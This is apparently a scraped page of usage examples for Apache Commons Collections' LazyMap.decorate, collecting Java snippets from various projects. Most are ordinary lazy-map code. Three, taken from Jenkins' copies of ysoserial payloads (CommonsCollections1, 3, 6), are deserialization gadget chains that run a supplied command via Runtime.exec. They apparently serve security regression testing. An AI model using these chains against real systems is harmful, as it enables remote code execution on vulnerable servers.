Example usage for org.apache.commons.collections.map LazyMap decorate

List of usage examples for org.apache.commons.collections.map LazyMap decorate

Introduction

In this page you can find the example usage for org.apache.commons.collections.map LazyMap decorate.

Prototype

public static Map decorate(Map map, Transformer factory) 

Source Link

Document

Factory method to create a lazily instantiated map.

Usage

From source file:MapHeavenV1.java

private void createMaps() {
    cIMap = new CaseInsensitiveMap();
    identMap = new IdentityMap();
    lazyMap = LazyMap.decorate(new HashMap(), FactoryUtils.instantiateFactory(StringBuffer.class));
}

From source file:gallery.model.command.MultiAutoreplaceCms.java

public MultiAutoreplaceCms(int size) {
    autoreplaces = LazyMap.decorate(new HashMap(), FactoryUtils.instantiateFactory(AutoreplaceL.class));
    /*autoreplaces = new Vector();
    for (int i=0;i<size;i++){/*from   ww w  .  jav  a 2 s  .com*/
       Autoreplace a = new Autoreplace();
       a.setActive(Boolean.FALSE);
       AutoreplaceL al = new AutoreplaceL();
       al.setParent(a);
       autoreplaces.add(al);
    }*/
    /*id = Long.valueOf[size];
    text = new String[size];
    code = new String[size];
    sort = Long.valueOf[size];
    active = new Boolean[size];
    java.util.Arrays.fill(active, Boolean.FALSE);*/
}

From source file:com.discursive.jccook.collections.lazy.LazyMapExample.java

public void start() throws Exception {

    StockQuoteTransformer sqTransformer = new StockQuoteTransformer();
    sqTransformer.setQuoteURL(new URL("http://quotes.company.com"));
    sqTransformer.setTimeout(500);//from  w w  w .j  av a 2 s .  c om

    stockQuotes = new LRUMap(5);
    stockQuotes = LazyMap.decorate(stockQuotes, sqTransformer);

    // Now use some of the entries in the cache
    Float cscoPrice = (Float) stockQuotes.get("CSCO");
    Float msPrice = (Float) stockQuotes.get("MSFT");
    Float tscPrice = (Float) stockQuotes.get("TSC");
    Float luPrice = (Float) stockQuotes.get("LU");
    Float pPrice = (Float) stockQuotes.get("P");
    Float msPrice2 = (Float) stockQuotes.get("MSFT");

    // Add another price to the Map, this should kick out the LRU item.
    stockQuotes.put("AA", new Float(203.20));

    // CSCO was the first price requested, it is therefor the
    // least recently used.
    if (!stockQuotes.containsKey("CSCO")) {
        System.out.println("As expected CSCO was discarded");
    }
}

From source file:fr.itinerennes.onebusaway.bundle.tasks.GenerateRoutesAndStopsCsvTask.java

/**
 * {@inheritDoc}/*  ww w . j  a v a 2s.  c o m*/
 * 
 * @see java.lang.Runnable#run()
 */
@Override
public void run() {

    @SuppressWarnings("unchecked")
    final Map<String, Set<String>> routesToStops = LazyMap.decorate(new HashMap<String, Set<String>>(),
            new Factory() {

                @Override
                public Object create() {

                    return new HashSet<String>();
                }
            });

    for (final StopTime stopTime : gtfsDao.getAllStopTimes()) {
        final String routeId = stopTime.getTrip().getRoute().getId().toString();
        final String stopId = stopTime.getStop().getId().toString();
        // add or overwrite stopId for the routeId
        routesToStops.get(routeId).add(stopId);
    }

    // count amount of couples (routeId, stopId)
    int count = 0;
    for (final Entry<String, Set<String>> route : routesToStops.entrySet()) {
        if (route.getValue().isEmpty()) {
            throw new IllegalStateException("route " + route.getKey() + " has 0 stops");
        }
        count += route.getValue().size();
    }

    BufferedWriter out = null;
    try {
        out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outputFile), CHARSET));

        // output amount of couples (routeId, stopId)
        out.write(String.valueOf(count));
        out.newLine();

        for (final Entry<String, Set<String>> route : routesToStops.entrySet()) {
            final String routeId = route.getKey();
            for (final String stopId : route.getValue()) {
                out.write(routeId);
                out.write(';');
                out.write(stopId);
                out.write(';');
                out.newLine();
            }
        }

    } catch (final FileNotFoundException e) {
        LOGGER.error("output file not found", e);
    } catch (final IOException e) {
        LOGGER.error("can't write to output file", e);
    } finally {
        IOUtils.closeQuietly(out);
    }
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections3.java

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

From source file:com.alkacon.opencms.photoalbum.CmsPhotoAlbumBean.java

/**
 * Returns a lazy initialized map that checks if downscaling is required
 * for the given resource used as a key in the Map.<p> 
 * //from ww w . j a  va 2  s .c om
 * @return a lazy initialized map
 */
public Map getIsDownscaleRequired() {

    if (m_downscaleRequired == null) {
        m_downscaleRequired = LazyMap.decorate(new HashMap(), new Transformer() {

            /**
             * @see org.apache.commons.collections.Transformer#transform(java.lang.Object)
             */
            public Object transform(Object input) {

                Boolean result = Boolean.FALSE;
                if (m_imageScaler == null) {
                    return result;
                }

                CmsImageScaler scaler = new CmsImageScaler(getCmsObject(), (CmsResource) input);
                if (scaler.isDownScaleRequired(m_imageScaler)) {
                    return Boolean.TRUE;
                }
                return result;
            }
        });
    }
    return m_downscaleRequired;
}

From source file:com.alkacon.opencms.v8.photoalbum.CmsPhotoAlbumBean.java

/**
 * Returns a lazy initialized map that checks if downscaling is required
 * for the given resource used as a key in the Map.<p> 
 * /*from   www .  j a  v a  2  s.c  o  m*/
 * @return a lazy initialized map
 */
@SuppressWarnings("unchecked")
public Map<CmsResource, Boolean> getIsDownscaleRequired() {

    if (m_downscaleRequired == null) {
        m_downscaleRequired = LazyMap.decorate(new HashMap<CmsResource, Boolean>(), new Transformer() {

            /**
             * @see org.apache.commons.collections.Transformer#transform(java.lang.Object)
             */
            public Object transform(Object input) {

                Boolean result = Boolean.FALSE;
                if (m_imageScaler == null) {
                    return result;
                }

                CmsImageScaler scaler = new CmsImageScaler(getCmsObject(), (CmsResource) input);
                if (scaler.isDownScaleRequired(m_imageScaler)) {
                    return Boolean.TRUE;
                }
                return result;
            }
        });
    }
    return m_downscaleRequired;
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections6.java

public Serializable getObject(final String command) throws Exception {

    final String[] execArgs = new String[] { command };

    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    Transformer transformerChain = new ChainedTransformer(transformers);

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;/*from  w w w  .  j  a v  a2 s .  co  m*/
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }

    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);

    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }

    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);

    Object node = array[0];
    if (node == null) {
        node = array[1];
    }

    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    keyField.setAccessible(true);
    keyField.set(node, entry);

    return map;

}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections1.java

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain   

    return handler;
}

From source file:info.magnolia.cms.i18n.MessagesManager.java

/**
 * The lazzy LRU Map creates messages objects with a fault back to the default locale.
 *///from  w w  w  .  j  a v  a2s  .  co  m
private static void intiLRUMap() {
    // FIXME use LRU
    //Map map = new LRUMap(20);
    Map map = new HashMap();
    map = LazyMap.decorate(map, new Transformer() {

        public Object transform(Object input) {
            MessagesID id = (MessagesID) input;
            Messages msgs = new DefaultMessagesImpl(id.basename, id.locale);
            return msgs;
        }
    });
    messages = Collections.synchronizedMap(map);
}